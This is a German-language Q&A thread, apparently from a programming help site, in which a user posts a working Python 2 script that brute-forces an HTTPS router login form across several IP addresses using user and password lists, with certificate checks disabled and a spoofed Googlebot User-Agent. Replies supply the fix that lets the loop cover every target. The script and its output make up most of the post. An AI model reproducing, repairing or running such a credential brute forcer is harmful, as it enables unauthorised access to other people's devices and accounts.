2016-03-19 11 views
-1

Ich versuche, ein HTML-Formular Brute Forcer mit drei verschachtelten For-Schleifen, eine für IP eine für USER und eine für PASSWORDS, aber mein Code versucht alle richtigen Benutzer: Pass-Kombinationen für die erste IP-Adresse, schreibe dreimal die gefundene und scheitert dann. Ich möchte alle user: pass Kombinationen für alle drei IP-Adressen versuchen. Hier ist der Code:Drei verschachtelte For-Schleifen in Python fehlgeschlagen

import ssl 
import base64 
import sys 
import urllib 
import urllib2 
import socket 
ssl._create_default_https_context = ssl._create_unverified_context 
if len(sys.argv) !=4: 
     print "usage: %s userlist passwordlist" % (sys.argv[0]) 
     sys.exit(0) 
filename1=str(sys.argv[1]) 
filename2=str(sys.argv[2]) 
#filename3=str(sys.argv[3]) 
userlist = open(filename1,'r') 
passwordlist = open(filename2,'r') 
#targets = open(filename3,'r') 
targets = ['192.168.2.1', '192.168.2.1', '192.168.2.2'] 

#url = "https://192.168.2.1:8443/login.cgi" 
foundusers = [] 
foundcreds = [] 
OkStr="url=index.asp" 
headers = {} 
headers['User-Agent'] = "Googlebot" 
i=0 
for ip in targets: 
     url = "https://"+ip.rstrip()+":8443/login.cgi" 
     for user in userlist.readlines(): 
       for password in passwordlist.readlines(): 
         credentials=base64.b64encode(user.rstrip()+':'+password.rstrip()) 
         #print "trying "+user.rstrip()+':'+password.rstrip() 
         data = urllib.urlencode({'login_authorization': credentials}) 
         try: 
           req = urllib2.Request(url, data, headers=headers) 
           request = urllib2.urlopen(req, timeout = 3) 
           response = request.read() 
           print 'ip=%r user=%r password=%r' % (ip, user, password) 
           #print "[%d]" % (request.code) 
           if (response.find(OkStr)>0): 
             foundcreds.append(user.rstrip()+':'+password.rstrip()) 
           request.close() 
         except urllib2.HTTPError, e: 
           print "[-] Error = "+str(e) 
           pass 
         except socket.timeout, e: 
           print "[-] Error = "+str(e) 
           pass 
         except ssl.SSLError, e: 
           print "[-] Error = "+str(e) 
           pass 
         except urllib2.URLError, e : 
           print "[-] Error = "+str(e) 
           pass             

     if len(foundcreds)>0: 
       print "Found User and Password combinations:\n" 
       for name in foundcreds: 
         print name+"\n" 
     else: 
       print "No users found\n" 

Dies ist die Ausgabe:

ip='192.168.2.1' user='admin\n' password='asd\n' 
ip='192.168.2.1' user='admin\n' password='qwer\n' 
ip='192.168.2.1' user='admin\n' password='rews\n' 
ip='192.168.2.1' user='admin\n' password='test\n' 
Found User and Password combinations: 

admin:test 

Found User and Password combinations: 

admin:test 

Found User and Password combinations: 

admin:test 
+4

Sie verwenden Dateien für Pseudo und Passwort und können dann nur einmal mit Leseleitungen gelesen werden. Sie sollten das Ergebnis irgendwo speichern oder Ihre Datei erneut öffnen. –

+0

Diese IP-Adressen sind auch nicht öffentlich routingfähig. Daher können wir Ihr Problem nicht reproduzieren, da es sich um eine Website handelt, auf die wir nicht zugreifen können. – Kevin

+0

Sobald Sie in der ersten Iteration an die Dateienden gelesen haben, müssen Sie die Dateien zurückspulen oder erneut öffnen, um die Daten erneut lesen zu können. –

Antwort

1

Zur Umsetzung P. Brunet Vorschlag, ändern diese:

userlist = open(filename1,'r') 
passwordlist = open(filename2,'r') 

zu:

userlist = open(filename1,'r').readlines() 
passwordlist = open(filename2,'r').readlines() 

dann entfernen Sie die .readlines() f von Ihren Iteratoren.

+0

Danke Oskar wird deinen Ratschlag versuchen. – acemutha

Verwandte Themen